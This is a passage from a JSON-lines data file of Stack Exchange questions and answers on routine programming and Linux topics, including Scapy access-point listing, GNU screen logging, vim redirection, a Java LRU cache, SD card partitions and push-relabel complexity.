next time you or someone else needs to re-use the code on a different page, they'll need to search and replace them all, also why don't you use jQuery here?wanakana is not defined.There are far too many magic strings.In general you seem to completely confused on the point of using self-invoking functions. You are not using them for any practical purpose nor do they return anything and yet you attempt to store their return value.I can only suggest: Re-write everything in a straight forward procedural manner, breaking the functionally down into functions (procedures) no longer than, say, 10 lines (arbitrary number, just for the practice). Don't have the functions access any global variables - that is let them work only with their arguments. The only exception would be accessing any global constants. Make sure you don't use any string literals, other than when defining constants.Give all constants a name with CAPITAL_LETTERS, so they are recognizable as such.Ignore input and output for now. For testing/development just start your program with a function call to the main function with the verb as it's argument, and output to the console. E.g.: console.log( japaneseVerbConjugator(Some Japanese verb) );"  } 
{  "id": "_unix.163838"  , "question": "Unfortunately it happens rather regularly, that some i/o job or some other activity clogs all the cpu power on my rather old linux machine and leaves me with a frozen desktop, where not even the mouse will move, for some time.Rather than trying to troubleshoot here with you, I was wondering:Why does music continue to play, while my PC is seemingly frozen (probably a process independent of the desktop) and why does it continue to loop the last second or so, after that process seems to have frozen as well?Would it not make more sense, that the application in the background, that produces the sound, stops as soon as it's buffer is empty? How come the sound starts looping all of a sudden?I've seen this behaviour on Windows as well, even on my Android phone. For a specific example, I had a YouTube Video open, while creating a very large gzip archive, which brought the CPU down with i/o wait.After still being able to listen to the video for about 3 minutes after the Desktop froze, unresponsive to mouse and Keyboard it then started to loop the last second and about half a minute later crashed entirely."  , "title": "Why does music still loop, when my PC freezes?"  , "tags": "audio;freeze"  } 
{  "id": "_reverseengineering.14641"  , "question": "I have some binary files, each of them contain instructions of a function, (may be a little more in the end). The begining of the file also is the start point of the function. This files were extracted from a ELF file.The platform is arm64.So, how to load and analyze this file using angr?I upload a sample file here: xfrank.pythonanywhere.com/binThe original target:Every function has a switch case statement, the target is to get all intergers of the case expression.Example(C code):void func1(int cmd){    switch (cmd) {    case 1:        xxxx        break;    case 10:        yyyy;        break;    }}Result: 1,10"  , "title": "In angr, how to Load and Analyze a binary file that only contain a function instructions"  , "tags": "binary"  } 
{  "id": "_softwareengineering.325749"  , "question": "I am trying to learn WHEN NOT to use:classesmember variablesHERE IS THE CODEaccess_point_detection_classes.pyfrom scapy.all import *class Handler :    def __init__(self) :        self.wap_list = []        self.TempWAP = None    def process_packet_capture(self, packet_capture) :            for packet in packet_capture :                if packet.haslayer(Dot11) :                    if packet.subtype == 8 :                        bssid = packet.addr3                        if packet.haslayer(Dot11Elt) :                            p = packet[Dot11Elt]                            while isinstance(p, Dot11Elt) :                                if p.ID == 0 :                                    essid = p.info                                if p.ID == 3 :                                    channel = ord(p.info)                                p = p.payload                            self.TempWAP = WirelessAccessPoint(bssid, essid, channel)                            if self.check_for_duplicates() == False:                                self.wap_list.append(self.TempWAP)    def check_for_duplicates(self) :        for w in self.wap_list :            if self.TempWAP.bssid == w.bssid :                return True        return Falseclass WirelessAccessPoint :    def __init__(self, bssid, essid, channel) :        self.bssid = bssid        self.essid = essid        self.channel = channelaccess_point_detection.pyfrom scapy.all import *from access_point_detection_classes_module import *def main() :    H = Handler()    packet_capture = sniff(count = 50)    H.process_packet_capture(packet_capture)    for w in H.wap_list :        print w.bssid        print w.essid        print w.channel        print '++++++++++++++++++++++++'    # enable_managed_mode('wlan0')if __name__ == __main__ :    main()HERE ARE MY THOUGHTSI am mostly sure I know WHEN to use a class and member variables. Look at my second class WirelessAccessPoint. The perfect need for a class in my opinion.I need multiple objects of this typeEasier management of the data that comes along with this typeThat's great, but look at my first class Handler. To be honest, I mostly created it so I could practice OOP. It does come in handy when I need to access wap_list. However, I initialize it without passing parameters for the constructor. Is that defeating the purpose? It seems that I could create all the methods of this class with only the self parameter to them. For instance ( haha ) I could make packet_capture a member variable of Handler and have the method process_packet_capture() take the parameter self.At this point I feel like if I do not set some ground rules for myself I will try to make everything a class and everything a member variable and I will never pass a parameter besides self ever again!"  , "title": "When NOT to use a class / member variable?"  , "tags": "object oriented;python;object oriented design;class design;class"  , "accepted_answer": "However, I initialize it without passing parameters for the constructor. Is that defeating the purpose?No, absolutely not.  Handler, maybe misnamed, but in a sense it represents a collection object, which is perfectly reasonable without constructor parameters.  A collection object maintains some state for it's duration, and, many collections are created with an initially empty set.However, what I don't necessarily like is the use of a member variable for the short-lived state of TempWAP.  I think a local variable and some parameter passing would be better here, no?  Maybe the example doesn't make it clear that TempWAP is otherwise used in your more complete implementation, or, as another alternative, you might actually have two classes here that are being conflated (one shorter lived and one longer lived), but based on what I can see in the question, I'd go for local variable instead of member variable here.  The point is that the lifetime of the two member variables in Handler seems inconsistent.  So, these member should be differentiated, either one using a local variable, or in another class (overkill, though perhaps).  To reiterate, when all your member variables in the same class have the same useful lifetime, you have a better class than otherwise."  } 
{  "id": "_unix.353798"  , "question": "I was trying to create a wifi hotspot for some experiment, but i was unable to create an open hotspot. Hotspot created is always secured by WPA2 security. Is there any way to create an open hotspot without any password?"  , "title": "How to create an open Wifi hotspot with no password in Linux Mint?"  , "tags": "linux mint;wifi;wifi hotspot"  , "accepted_answer": "You can create an open AP using create_ap tool.Install create_apgit clone https://github.com/oblique/create_apcd create_apsudo make installStart and enable the service:sudo systemctl start create_apsudo systemctl enable create_apTo create an open Access point run the following command:sudo create_ap wlan0 eth0 MyAccessPointTo create an open Access Point from the same wifi interface  (wlan0) run :sudo create_ap wlan0 wlan0 MyAccessPointEditTo solve the hostapd not found error , you should install hostapd:sudo apt install hostapd"  } 
{  "id": "_webapps.27635"  , "question": "Are weekly email reports of website statistics from Google Analytics still available with since the latest updates/redesign? EDIT: and does anyone know of any plans to bring this back, if it has been discontinued?"  , "title": "Email Reports from Google Analytics"  , "tags": "google analytics"  , "accepted_answer": "This seems to be still working, and this is how I believe it is done:Sign into your Google Analytics accountClick on Standard ReportingClick on Email BETAEnter your email address and Subject in their respective fieldsClick on the , CSV drop down menu to choose one report formatEnsure Weekly is selected next to the Frequency labelClick on your day of the weekType your message in the white paneClick on the Send button"  } 
{  "id": "_unix.257845"  , "question": "Running a command in a screen and detaching is quite simple. screen -S test -d -m echo output of command that runs foreverHowever I would also like to pipe all the output to a file for logging, how can run the following in a screen and detach.echo output of command that runs forever &> output.logEdit:Just to clarify, I need this for a script so simple starting a screen and doing running the command and detaching is not an option."  , "title": "How to run a program in a screen, redirect all output to a file and detach"  , "tags": "linux;pipe;gnu screen"  , "accepted_answer": "screen -dmS workspace; screen -S workspace -X stuff $'ps aux > output-x\\n'I first create a detached session with the -d switch, I called my session workspace.  I then send my command to the same session with -X stuff, I am using $'', but you could also use double quotes, but have to do a control M instead of a \\n, which I don't like so I normally use the method I described above.After this piece of code runs, you will find the output-x with the list of processes, and also if you do a:screen -lsyou will see the session has been detached.Since you said you are going to be running a script.  You might want to have your script search for a detached session (I am using workspace), and if it exists send commands to that pre-existing session, instead of making a new session every time screen -dmS sessionName is ran, example is below:    #!/bin/bash    if ! ( screen -ls | grep workspace > /dev/null); then       screen -dmS workspace;    fi    screen -S workspace -X stuff $'ps aux > output-x\\n'I hope this helps."  } 
{  "id": "_softwareengineering.267612"  , "question": "From what I've read and implemented, DTO is the object that hold a subset of value from a Data model, in most cases these are immutable objects. What about the case where I need to pass either new value or changes back to the database?Should I work directly with the data model/actual entity from my DAL in my Presentation layer?Or should I create a DTO that can be passed from the presentation layer to the business layer then convert it to an entity, then be updated in the DB via an ORM call. Is this writing too much code? I'm assuming that this is needed if the presentation layer has no concept of the data model. If we are going with this approach, should I fetch the object again at the BLL layer before committing the change?"  , "title": "When is it appropriate to map a DTO back to its Entity counterpart"  , "tags": "domain driven design;dto"  , "accepted_answer": "If you have an entity as in a DDD-entity (not what is generally called an entity in frameworks such as entity framework) then the entity should protect its invariants. Thus using the entity as a DTO is most likely wrong. A DTO is unvalidated input data from the user and should be treated as such. An entity is validated data in one of the object types valid invariants. Thus you should have a conversion between a DTO and an entity that converts a validated DTO to a domain entity object. In many cases people skimp on these by using anemic domain models (http://www.martinfowler.com/bliki/AnemicDomainModel.html) where the entities generally contain no logic and then they put all the invariant protection logic etc in external code (and thus need to check invariants all over the place). This can work, but imho it leads to bugs. But it's something that happens pretty much everywhere - especially since a lot of frameworks encourage this by making it super easy to write code this way. This is imho too bad since it leads to the easiest/fastest way of coding not being the one that leads to the best results (if you follow DDD that is)...But it's also important to recognise that in many cases DDD might be overkill. If you are basically making a CRUD application (which in many cases you probably are) then DDD might be overkill for your domain. Of course this doesn't mean that you should throw away all the good ideas and just go into full-on do-anything mode, but in some cases not caring about certain parts of DDD can be the correct choice to make. The hard trick here is, of course, to identify if your domain is complex enough to warrant DDD or if it's easy enough to not bite yourself in the ass by foregoing certain parts of it. :)"  } 
{  "id": "_webmaster.91911"  , "question": "In my html page, the link is http://metfm.esy.es/index.php, I use four external links of webcams. When I test my page the message is In my html page the links are normal, but in the test it tells me the same links with query strings.I want to remove all the query parameters of the links with htaccess . I tried so many things from Internet examples, but they did not work."  , "title": "Removing query string from external URL in my HTML page"  , "tags": "parameters"  } 
{  "id": "_vi.7266"  , "question": "On Debian based systems, there is a package named vim-addon-manager.My understanding is that it allows to install some plugins based on a repository of available plugins. To be able to install them, the plugins have to be packaged and pushed to the debian repos.I don't understand the point of this package because it seems much less flexible than the other plugin managers which allows to install any plugin from github, a git repo or even a local folder, which allow parallel installation, lazy-loading, etc...In the first place I thought that the package was an old solution created before the other plugin managers and more or less deprecated, but its git repo seems to indicate that its development is still active.So my questions are:Is there other differences than the available plugins betwwen vim-addon-manager and the other plugin managers? And if so, which differences?Are the packages and the other managers meant for the same purpose or are they complementaryIn which use-case is it more convenient to use the package instead of the other plugins?Note that my question is inspired by this one but here I am not asking how to use the package, but rather why would someone need it."  , "title": "When should I use vim-addon-manager instead of a regular package manager?"  , "tags": "plugin system;plugin managers"  , "accepted_answer": "N.B., I'm one of the original authors of Debian's vim-addon-manager (which I'll refer to as dvam for the rest of this answer, to avoid confusion with Marc Weber's vam).dvam is intended solely to manage addons that are distributed in the form of Debian packages.  There are people that prefer, for various reason, to use packaged software even for things like Vim addons, instead of getting the software directly from upstream.In the broader sense, yes dvam and more general tools like plug, vundle, etc. are meant for the same purpose -- providing a mechanism for enabling the use of certain addons in your Vim environment.  They are targeting different use cases, though, and can be used to complement each other.dvam intends to give a user of a Debian-based system control over which packaged addons are enabled, both system-wide and for a specific user.  That is, it tries to solve the use cases of a sysadmin installing and enabling a packaged addon in the system-wide config but allowing the user to disable it, as well as the reverse (enabling an addon that's disabled in the system-wide config).There are some warts in the way Debian's tool was initially designed (symlinking individual files rather than working on directory like pathogen does) which haven't fully been addressed yet.  I've been dragging my feet on fixing that, but should revisit it to see if Vim's new 'packpath'/:packadd features help me with that at all."  } 
{  "id": "_unix.335175"  , "question": "Assume you have some text file (e.g. a log file) and you openit in a vim editor and hit the command:g/aaaIt will output a result in which you can move with j and k keysand when you move to the bottom a green sentencePress ENTER or type command to continue will appear.I understand it somehow, that I can use some commands with the result,but don't know how to find what I can do with it.One action I'd like to do, is to save the lines to the new file.Of course you could use a command$ grep aaa file.txt > new_file.txtbut is it possible from the vim editor directly?"  , "title": "Copy grep output from vim editor"  , "tags": "vim"  , "accepted_answer": "It is possible to do this through a multi-step process.Within vim::redir > new_file.txt:g/aaa:redir ENDSee :help redir from within vim.The :redir command can also append to an existing file by modifying the first command.:redir >> new_file.txt"  } 
{  "id": "_unix.70614"  , "question": "I should echo only names of files or directories with this construction:ls -Al | while read stringdo...donels -Al output :drwxr-xr-x  12 s162103  studs         12 march 28 12:49 personal domaindrwxr-xr-x   2 s162103  studs          3 march 28 22:32 public_htmldrwxr-xr-x   7 s162103  studs          8 march 28 13:59 WebApplication1For example if I try:ls -Al | while read stringdoecho $string | awk '{print $9}donethen output only files and directories without spaces. If file or directory have spaces like personal domain it will be only word personal.I need very simple solution. Maybe there is better solution than awk."  , "title": "How to output only file names (with spaces) in ls -Al?"  , "tags": "linux;command line;ls"  } 
{  "id": "_codereview.75494"  , "question": "I needed a way to cache a large number of objects with two different types of keys.In my case:A String key represents my object in a serialized form. This way if I get the same serialized object from an outside source, I an easily determine if it already exist and avoid re-parsing it (I just re-put() the existing entry to make it freshly cached).The second key is an Integer index, which is used as a light ID of the object for inter-process communications.I also wanted the access to a value with both key types to be \\$O(1)\\$, since I use both pretty often. I am using one LRU map with strong references to the values, and a second map with weak references. This way when an entry is removed from the first map, I expect the second map to release the value object as soon as the GC is invoked.My only concern is that the second map still keeps the redundant keys after their values are released, which is bad in case of large keys. I thought of using a ReferenceQueue or a WeakHashMap somehow to delete those keys, but couldn't yet come up with a satisfying implementation.I added a Thread to deal with deleting the unused keys in the weak references map. import java.lang.ref.WeakReference;import java.util.Collection;import java.util.Collections;import java.util.HashMap;import java.util.HashSet;import java.util.LinkedHashMap;import java.util.LinkedList;import java.util.Map;import java.util.Set;/** * An LRU cache with double mapping - two keys of different types are used * for accessing each cached  value. *  * @author Eliyahu * * @param <K1> - first key type. * @param <K2> - second key type. * @param <V> - values type. */public class DoubleMappedLRU<K1, K2, V> {    private final Map<K1, V> strongRefMap;    private final Map<K2, WeakReference<V>> weakRefMap;    /**     * Constructs a new DoubleMappedLRU with the specified capacity.     *      * @param capacity - the maximum number of values in the cache.     */    public DoubleMappedLRU(int capacity) {        strongRefMap = createSyncedLRUMap(capacity);        weakRefMap = new HashMap<K2, WeakReference<V>>();         /**         * This thread occasionally iterates the weakRefMap and removes keys with deleted values.         */        new Thread(clean deleted keys) {            WeakReference<DoubleMappedLRU<K1, K2, V>> lruRef =                     new WeakReference<DoubleMappedLRU<K1, K2, V>>(DoubleMappedLRU.this);            @Override            public void run() {                while (lruRef.get() != null) {                    try {                        Map<K2, WeakReference<V>> wm = lruRef.get().weakRefMap;                        synchronized (DoubleMappedLRU.this) {                            for (K2 key : wm.keySet()) {                                if (wm.get(key) != null && wm.get(key).get() == null {                                    wm.remove(key);                                }                            }                        }                        Thread.sleep(1000);                    } catch (InterruptedException iex) {                        return;                    } catch (Exception ex) {                        ex.printStackTrace();                    }                }            }        }.start();    }    /**     * Caches the specified value with the two specified keys in this double mapping.     *      * @param key1 - first key for the value     * @param key2 - second key for the value     * @param value - the value to cache     */    public synchronized void put(K1 key1, K2 key2, V value) {        strongRefMap.put(key1, value);        weakRefMap.put(key2, new WeakReference<V>(value));    }    /**     * Returns the value to which the specified key is mapped,      * or null if this map contains no mapping for the key.      * @param key - the key whose associated value is to be returned      *      * @return the value to which the specified key is mapped,      * or null if this map contains no mapping for the key      */    public synchronized V get1(K1 key) {        return strongRefMap.get(key);    }    /**     * Returns the value to which the specified key is mapped,      * or null if this map contains no mapping for the key.      * @param key - the key whose associated value is to be returned      *      * @return the value to which the specified key is mapped,      * or null if this map contains no mapping for the key      */    public synchronized V get2(K2 key) {        WeakReference<V> ref = weakRefMap.get(key);        if (ref != null) {            return ref.get();        }        return null;    }    private static <K, V> Map<K, V> createLRUMap(final int maxEntries) {        return new LinkedHashMap<K, V>(maxEntries+1, 0.75F, true) {            private static final long serialVersionUID = -7654704024424510182L;            @Override            protected boolean removeEldestEntry(Map.Entry<K, V> eldest) {                return size() > maxEntries;            }        };    }    private static <K, V> Map<K, V> createSyncedLRUMap(final int maxEntries) {        Map<K, V> cache = createLRUMap(maxEntries);        return (Map<K, V>)Collections.synchronizedMap(cache);    }    /**     * Returns an Iteratable Collection of values, which is     * a copied instance of the underlying mapped values.     * <p>     * This method return only a copy of the values to prevent     * outside operations on the inner map structure.     */    public Collection<V> valuesCopy() {        return new LinkedList<V>(strongRefMap.values());    }    /**     * Returns a Set of type K1 keys, which is     * a copied instance of the underlying mapped keys.     * <p>     * This method return only a copy of the keys to prevent     * outside operations on the inner map structure.     */    public Set<K1> keySet1Copy() {        return new HashSet<K1>(strongRefMap.keySet());    }    /**     * Returns a Set of type K2 keys, which is     * a copied instance of the underlying mapped keys.     * <p>     * This method return only a copy of the keys to prevent     * outside operations on the inner map structure.     */    public Set<K2> keySet2Copy() {        return new HashSet<K2>(weakRefMap.keySet());    }}"  , "title": "A double mapped cache with WeakReferences for second key type"  , "tags": "java;cache;hash table;weak references"  } 
{  "id": "_unix.276402"  , "question": "What happens with fonts in my JAVA apps? SOAP UI screen as example (see toolbox)...I have no idea where is the problem.SYS: up-to-date ARCH LINUX.$ archlinux-java statusAvailable Java environments:java-7-openjdkjava-8-jdk (default)java-8-jre/jrejava-8-openjdk"  , "title": "Font bug in Java apps on Arch Linux"  , "tags": "arch linux;java;fonts;jdk"  } 
{  "id": "_softwareengineering.315274"  , "question": "I have a client that's requested a detailed Scope of Work/Statement of Work.  Upon looking into it, it seems they want timelines, costs, features, the whole nine.In order to do a detailed SOW, one basically has to have the whole system planned out ahead of time.Yet, the customer is not happy with any development approach other than Agile.Seems to me, either:A detailed SOW = Waterfall approach, orA detailed SOW continuously needs to be updated when taking an Agile approach, in which case the detail of the SOW seems awfully pointless.I'm not really a big shop, and it seems to me that putting together a detailed SOW (especially after explaining that estimates are difficult for all the reasons we know estimates are difficult) with timelines and costs, and further maintaining it through an iterative/revisit often approach seems like a whole lot of overhead.On the flip side, a much more general SOW with some grey area in the detail seems much more appropriate and easier to maintain, however this isn't the impression I get when I read up on what an SOW should contain.How do you balance a detailed SOW with an agile approach?  And does it seem correct to say that a detailed SOW is veering toward a waterfall approach to things?(I might note that I never work on fixed-bid pricing, all is hourly, just because...)"  , "title": "Detailed Scope of Work.. Waterfall?"  , "tags": "client relations;contract;design by contract"  , "accepted_answer": "Agile doesn't preclude you from having a plan/requirements upfront. It precludes you from assuming that those plans won't change.It also doesn't preclude you from having a deadline. We all have deadlines. It does however, give you an earlier sense than waterfall development of where you stand with regards to meeting that deadline with the desired requirements, since at the end of each sprint, you have a shippable product and can gauge how far you are from the finish line.Martin Fowler describes a way to deal with this that he calls Scope Limbering.The key to this is this line:... from the beginning we sought to put the relationship between our companies on a collaborative note rather than a confrontational note. The biggest problem with the fixed scope contract is it immediately pits the client and contractor on opposite sides where they are fighting each other about whether something is a change and who should pay for the change.(emphasis mine)What Fowler did when facing a situation almost exactly like yours was to build a buffer into your quote, then work very closely with the client (which you should be doing anyway) to demonstrate to them how much the requirements change as the process goes on."  } 
{  "id": "_softwareengineering.98691"  , "question": "While I understand what the final keyword is used for in the context of classes and methods as well as the intent of its use for in regards to variables; however, the project I just started working on seems to have an excessive number of them and I'm curious as to the logic behind it.The following snippet of code is just a short example as I don't see much point in the final keyword for the key and value variables:private <K, V> Collection<V> getValuesForKeys(    final Map<K, V> map, final Collection<K> keys) {    final Collection<V> values = new ArrayList<V>(keys.size());    for (final K key : keys) {        final V value = map.get(key);        if (value != null) {            values.add(value);        }    }    return values;}I have been doing a bit of reading the usage through articles I have found via Google; however, does the pattern really do things such as help the compiler optimize the code?"  , "title": "Excessive use final keyword in Java"  , "tags": "java;coding standards;final"  , "accepted_answer": "There are many references suggesting a liberal use of final. The Java Language Specification even has a section on final variables. Various rules in static analysis tools also support this - PMD even has a number of rules to detect when final can be used. The pages that I linked to provide a number of points as to what final does and why you should use it liberally.For me, the liberal use of final accomplished two things in most code, and these are probably the things that drove the author of your code sample to use it:It makes the intent of the code much more clear, and leads to self-documenting code. Using final prevents the value of a primitive object from changing or a new object being made and overwriting an existing object. If there's no need to change the value of a variable and someone does, the IDE and/or compiler will provide a warning. The developer must either fix the problem or explicitly remove the final modifier from the variable. Either way, thought is necessary to ensure the intended outcome is achieved.Depending on your code, it serves as a hint for the compiler to potenitally enable optimizations. This has nothing to do with compile time, but what the compiler can do during compilation. It's also not guaranteed to do anything. However, signaling the compiler that the value of this variable or the object referred to by this variable will never change could potentially allow for performance optimizations.There are other advantages as well, related to concurrency. When applied at a class or method level, having to do with ensuring what can be overridden or inherited. However, these are beyond the scope of your code sample. Again, the articles I linked to go far more in-depth into how you can apply final.The only way to be sure why the author of the code decided to use final is to find him and ask him."  } 
{  "id": "_unix.352358"  , "question": "So I've been trying to setup a vpn in whonix workstation but it is proving somewhat difficult for me. Specific vpn is nord vpn and I was following their instructions for command line install but it fails at step 4 as it cannot download the ca and config files.I then downloaded them in another system and then put them in whonix workstation. When trying to copy the files into cd /etc/openvpn I am unable to do so because I don't have root permissions. From memory I can use gksudo to operate file manager as root and put the files where they need to be. gksudo isn't a recognised command however so that stopped me again.I don't really want to wreck my system by tapping around in the commandline too much; is there an easy way to put the files where they need to go?? If I had the network manager in whonix workstation it would also be alot easier but again it is hard to get installed etc. "  , "title": "openvpn in whonix workstation? gksudo to move files as root?"  , "tags": "linux;debian;networking;permissions;whonix"  } 
{  "id": "_unix.345488"  , "question": "I am a little lost with kwalletmanager5. I upgraded my system from OpenSuseLEAP42.1 to OpenSuseLEAP42.2 a couple of months ago. With KDE5.Since I updated my system I have problems with the kwalletmanager, or better the interplay of kwalletmanager5 and the KDE4 version of kwalletmanager.> kwalletmanager --versionQt: 4.8.6KDE: 4.14.28KDE Wallet Manager: 2.0> kwalletmanager5 --versionkwalletmanager5 16.12.1> kwalletd --versionQt: 4.8.6KDE: 4.14.28KDE-Dienst fr Passwortspeicher: 0.2The main problem I encountered was that the new kwalletmanager5 does not accept a GPG key to encrypt the wallet. This is a problem since I used GPG in KDE4. Now, each time I open the kwalletmanager5, I have to enter first the password for kwalletmanager5 and then for kwalletmanager4.So I tried to uninstall the KDE4 version of kwalletmanager. Which caused problems with some other applications... Somewhere I read that you need to have installed both versions so that KDE4 applications can use kwalletmanager and KDE5 applications kwalletmanager5. All in all, I have two questions:Is there a way to unlock kwalletmanager with kwalletmanager5?I would like to use GPG-encryption with kwalletmanager5. Is there a way?Consider me, as a guy that has no clue. Be pedantic in your responses please! :D I hope this is the correct place to ask the question..."  , "title": "How to unlock Kwalletmanager KDE4 with kwalletmanager5 KDE5?"  , "tags": "kde;opensuse;kde5;kwallet"  } 
{  "id": "_unix.146724"  , "question": "I try to mount a SDHC card under GNU/Linux. Unlike what happens usually, /var/log/syslog doesn't mention sdb1, just:Jul 26 16:07:53 xvii kernel: [  159.404842] scsi 6:0:0:0: Direct-Access     Singim   SD Card   MMC/SD 1.4F PQ: 0 ANSI: 0 CCSJul 26 16:07:53 xvii kernel: [  159.405115] sd 6:0:0:0: Attached scsi generic sg2 type 0Jul 26 16:08:01 xvii kernel: [  168.239600] sd 6:0:0:0: [sdb] Attached SCSI removable diskMoreover fdisk -l /dev/sdb outputs nothing. What should I do?EDIT (2014-07-27): I could have this SD card again, and it seems to be faulty. Yesterday, I was trying it via a USB card reader. Today, I've tried it directly by putting it in the SD slot of my laptop, and I got thousands of I/O errors:Jul 27 11:56:35 xvii kernel: [ 8091.317234] mmc0: new high speed SDHC card at address 1234Jul 27 11:56:35 xvii kernel: [ 8091.317477] mmcblk0: mmc0:1234 SA04G 3.68 GiBJul 27 11:56:35 xvii kernel: [ 8091.320119] mmc0: Got data interrupt 0x00200000 even though no data operation was in progress.Jul 27 11:56:35 xvii kernel: [ 8091.322277] mmcblk0: error -84 transferring data, sector 0, nr 8, cmd response 0x900, card status 0xb00Jul 27 11:56:35 xvii kernel: [ 8091.322289] mmcblk0: retrying using single block readJul 27 11:56:35 xvii kernel: [ 8091.324862] mmcblk0: error -84 transferring data, sector 0, nr 8, cmd response 0x900, card status 0x0Jul 27 11:56:35 xvii kernel: [ 8091.324872] end_request: I/O error, dev mmcblk0, sector 0Jul 27 11:56:35 xvii kernel: [ 8091.326398] mmcblk0: error -84 transferring data, sector 1, nr 7, cmd response 0x900, card status 0x0Jul 27 11:56:35 xvii kernel: [ 8091.326405] end_request: I/O error, dev mmcblk0, sector 1Jul 27 11:56:35 xvii kernel: [ 8091.329056] mmcblk0: error -84 transferring data, sector 2, nr 6, cmd response 0x900, card status 0x0[...]and gdisk -l didn't find any partition table, and lsblk output about the card:mmcblk0                  179:0    0   3.7G  0 diskA bit later I tried again, and the card was recognized:Jul 27 12:08:00 xvii kernel: [ 8776.617712] mmc0: new high speed SDHC card at address 1234Jul 27 12:08:00 xvii kernel: [ 8776.618117] mmcblk0: mmc0:1234 SA04G 3.68 GiBJul 27 12:08:00 xvii kernel: [ 8776.620324]  mmcblk0: p1and I could mount it: /dev/mmcblk0p1 on /media/mmc type vfat (rw,nosuid,nodev,noexec,noatime,uid=1000,gid=1000,fmask=0022,dmask=0022,codepage=437,iocharset=utf8,shortname=mixed,errors=remount-ro,user=vinc17)gdisk -l /dev/mmcblk0 found only a MBR partition table, but the second partition table overlaps the last partition."  , "title": "mounting a SD card without a partition"  , "tags": "linux;mount;sd card"  , "accepted_answer": "The link /dev/$disk points to the whole of a block device, but, on a partitioned disk without unallocated space, the only part which isn't also represented in /dev/$disk[num] is the first 2kb-4mb or so - $disk's partition table. It's just some information written to the raw device in a format that the firmware and/or OS can read. Different systems interpret it in different ways and for different reasons. I will cover three.On BIOS systems this table is written in the MBR master boot record format so the firmware can figure out where to find the bootable executable. It reads the partition table because in order to boot BIOS reads in the first 512 bytes of the partition the table marks with the bootable flag and executes it. Those 512 bytes usually contain a bootloader (like grub or lilo on a lot of linux systems) that then chainloads another executable (such as the linux kernel) located on a partition formatted with a filesystem the loader understands.On EFI systems and/or BIOS systems with newer kernels this partition table can be a GPT GUID partition table format. EFI firmware understands the FAT filesystem and so it looks for the partition the table describes with the EFI system partition flag, mounts it as FAT, and attempts to execute the path stored in its Boot0000-{GUID} NVRAM variable. This is essentially the same task that BIOS bootloaders are designed to do, and, so long as the executable you wish to load can be interpreted by the firmware (such as most Linux kernels since v. 3.3), obviates their use. EFI firmware is a little more sophisticated.After boot, if a partition table is present and the kernel understands it, /dev/${disk}1 is mapped to the 4mb+ offset and ends where the partition table says it does. Partitions really are just arbitrary logical dividers like:start of disk | partition table | partition 1 | ... and so on | end of diskThough I suppose it could also be:s.o.d. | p.t. | --- unallocated raw space --- | partition 1 | ... | e.o.d. It all depends on the layout you define in the partition table - which you can do with tools like fdisk for MBR formats or gdisk for GPT formats.The firmware needs a partition table for the boot device, but the kernel needs one for any subdivided block device on which you wish it to recognize a filesystem. If a disk is partitioned, without the table the kernel would not locate superblocks in a disk scan. It reads the partition table and maps those offsets to links in /dev/$disk[num]. At the start of each partition it looks for the superblock. It's just a few kb of data (if that) that tells the kernel what type of filesystem it is. A robust filesystem will distribute backups of its superblock throughout its partition. If the partition does not contain a readable superblock which the kernel understands the kernel will not recognize a filesystem there at all.In any case, the point is you don't really need these tables on any disk that need not ever be interpreted by firmware - like on disks from which you don't boot (which is also the only workable GPT+BIOS case) - and on which you want only a single filesystem. /dev/$disk can be formatted in whole with any filesystem you like. You can mkfs.fat /dev/$disk all day if you want - and probably Windows will anyway as it generally does for device types it marks with the removable flag.In other words, it is entirely possible to put a filesystem superblock at the head of a disk rather than a partition table, in which case, provided the kernel understands the filesystem, you can:mount /dev/$disk /path/to/mount/pointBut if you want partitions and they are not already there then you need to create them - meaning write a table mapping their locations to the head of the disk - with tools like fdisk or gdisk as mentioned.All of this together leaves me to suggest that your problem is one in these three:your disk has no partition table and no filesystem It was recently wiped, never used, or is otherwise corrupt.your disk's partition table is not recognized by your os kernel BIOS and EFI are not the only firmware types. This is especially true in the mobile/embedded realm where an SDHC card could be especially useful, though many such devices use layers of less-sophisticated filesystems that blur the lines between a filesystem and a partition table.your disk has no partition table and is formatted with a filesystem not recognized by your os kernel After rereading your comment above I'm fairly certain it is the latter case. I recommend you get a manual on that tv, try to find out if you can get whatever filesystem it is using loaded as a kernel module in a desktop linux and mount the disk there."  } 
{  "id": "_cs.64873"  , "question": "According to the Wikipedia page on the Push-relabel maximum flow algorithm:Subcubic $O(|V||E| \\log\\frac{|V|^2}{|E|})$ time complexity can be achieved using dynamic trees, although in practice it is less efficient.What if $|E| = |V|^2$? Don't we then have this?$$O(|V||E| \\log\\frac{|V|^2}{|V|^2})$$$$O(|V||E| \\log 1)$$$$O(|V||E| 0)$$$$O(0)$$There's no way this can be right, so what am I misunderstanding?"  , "title": "Does the running-time of this push-relabel algorithm become zero if there are many edges?"  , "tags": "graphs;algorithm analysis;runtime analysis;landau notation"  , "accepted_answer": "First of all, we usually assume that there are no self-loops. As a consequence, $|E| \\leq |V|(|V| - 1) < |V|^2$.That aside, there is (probably) a misuse of Landau notation here.The given bound is (probably) not correct for all (families of) graphs. For instance, if $|E| = 0$ the same arithmetic issue occurs but the algorithm will certainly have non-zero running time.The authors probably simplified away terms of the order of, say, $\\Theta(|V|)$ or $\\Theta(|E|)$. They do this because they are asymptotically dominated by the given term -- if all quantities are non-zero. This is a fundamental problem with using Landau notation with more than one variable without being rigorous about it.So, even if the leading term would become zero (which can certainly happen and be correct!) lower-order terms would be non-zero and lead to useful bounds.ExampleConsider this very simple algorithm:1 def algo(n, m) 2   x = 03   for i = 1 .. n 4     for j = 1 .. m5       x += 16   return xA standard analysis tells you immediately that the running-time is in $\\Theta(nm)$ as that is how often the line x += 1 will be executed. Now, if n or m is zero, does the algorithm have zero running time? No!A more precise analysis leads to the running-time being$\\qquad c_1 + c_2 n + c_3 m + c_4 nm$with suitable constants $c_1$ (cost of lines 2 and 6, setup of line 3), $c_2$ (management of line 3, setup of line 4), $c_3$ (management of line 4) and $c_4$ (line 5).BackgroundLandau notation only makes sense if the parameters go to infinity in suitable ways. We can not just insert finite values for some parameters and expect it to behave well.Refer to A general definition of the O-notation for algorithm analysis by Kalle Rutanen et al. for details."  } 
